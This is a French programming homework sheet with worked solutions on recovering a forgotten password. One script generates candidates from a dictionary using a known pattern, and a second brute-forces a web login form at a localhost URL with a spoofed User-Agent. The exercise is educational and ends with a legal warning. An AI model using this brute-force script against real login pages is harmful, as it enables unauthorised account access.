Devoir à la maison
À la recherhe du mot de passe perdu ...

Eric Berthomier
eric.berthomier@free.fr

4 novembre 2017

1 Énoncé

Votre très cher collègue vient de protéger contre toute modification l'interface web du robot que vous venez de recevoir et dont vous venez juste de finir la programmation. Une seule solution, faire un reset hardware et perdre toute la programmation (qui bien sûr n'a pas été sauvegardée) ou cracker le mot de passe.
Sous la pression, ce dernier vous indique sa façon de créer son mot de passe :

- Il est composé de 12 caractères
- Les 7 premiers caractères sont issus d'un mot du dictionnaire dont on a retiré
  - les voyelles
  - les caractères composés (exemple ç / pour éviter les problématiques clavier)
  - les "-"
- Il y rajoute un esperluète (&)
- Et enfin sa date de naissance : 1308

1.1 Partie 1 (15 points)

Écrire un programme qui lit un fichier dictionnaire et en ressort un ensemble de mots de passe possible. **Il vous est possible de faire saisir un mot par l'utilisateur si la partie "Fichiers" vous paraît difficile**.

- Il est conseillé de travailler au début sur un petit ensemble de mots.
- Un dictionnaire est disponible sur le site eric.berthomier.free.fr.
- La liste des mots de passe extraite devra être donnée triée par ordre alphabétique.

1.1.1 Corrigé

```
#!/usr/bin/python3
# -*- coding: utf-8 -*-

date_naissance = "1308"
file_dico = open("dico8.txt","r")
file_password = open("fpassword.txt","w")
liste_motsdepasse = ()

for ligne in file_dico :
```

```
   # Pour éviter trop d'impatience
   print ("Lecture de ", ligne)

   # Définition de la partie chaîne de caractères du futur mot de passe
   str_password = ""

   # Définition du mot de passe
   password = ""

   for car in ligne:

      # Récupération du code ascii du caractère
      ascii = ord(car)

      # Fin de ligne et pas d'accents
      if ((ascii != 10) and (ascii < 128)) :

         # Suppression des voyelles
         if ( car not in ["a","e","i","o","u","y"] ):
            str_password += car

   if (len (str_password) == 7):
      password = str_password + '&' + date_naissance
      liste_motsdepasse+=(password,)

unique_liste_motsdepasse = set (liste_motsdepasse)
sort_unique_liste_motsdepasse = sorted (unique_liste_motsdepasse)

for mdp in sort_unique_liste_motsdepasse:
   file_password.write (mdp + "\n")

file_password.close()
file_dico.close()
```

1.2 Partie 2 (5 points)

Rechercher un logiciel OpenSource sur le Net permettant avec quelques paramétrages d'utiliser ce dictionnaire pour casser le mot de passe. Il ne vous est pas demandé d'en faire une démonstration ...

1.2.1 Corrigé

```
#!/usr/bin/python3
# -*- coding: utf-8 -*-

import urllib3
import time

url_a_hacker = "http://localhost/~eric/hacktheweb/index.php"
login = "eric"

# url_connexion : Url de la page web
# Parametres : table de hashage des différents paramètres à passer

def hackurl (url_connexion, parametres):

   http=urllib3.PoolManager()

   r = http.request (
      'POST',
      url_connexion,
      fields = parametres,
      headers = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' }
   )

   #~ print (r.data)
   if (str(r.data).find ("Echec") == -1) :
      return (1)
   else:
      return (0)

file_password = open("fpassword.txt","r")
```

```
# Initiation de la lecture du fichier
lecture_ligne = 1
trouve = 0

file_trace = open("trace.txt","w")

trace_txt = "Début : %d:%d:%d\n" % (time.localtime()[3], time.localtime()[4], time.localtime()[5])
file_trace.write (trace_txt)

compteur = 0

#~ Faire un while
while ( lecture_ligne and not trouve ):

   mdp = file_password.readline()

   #~ Suppression du retour chariot de fin de ligne
   pmdp = mdp.rstrip ()

   #~ Pour accélerer le traitement, annuler l'affichage
   print ("Tentative : %d - %s / %s" % (compteur,login,pmdp))

   parametres={'login':login,'motdepasse':pmdp,"submit":"Connexion"}
   trouve = hackurl (url_a_hacker , parametres )

   compteur += 1

file_password.close()

trace_txt = "Fin: %d:%d:%d\n" % (time.localtime()[3], time.localtime()[4], time.localtime()[5])
file_trace.write (trace_txt)

file_trace.close()
```

2 Rappel

Casser un mot de passe d'une application ou d'un fichier dont vous n'êtes pas le propriétaire est pénalement répréhensible.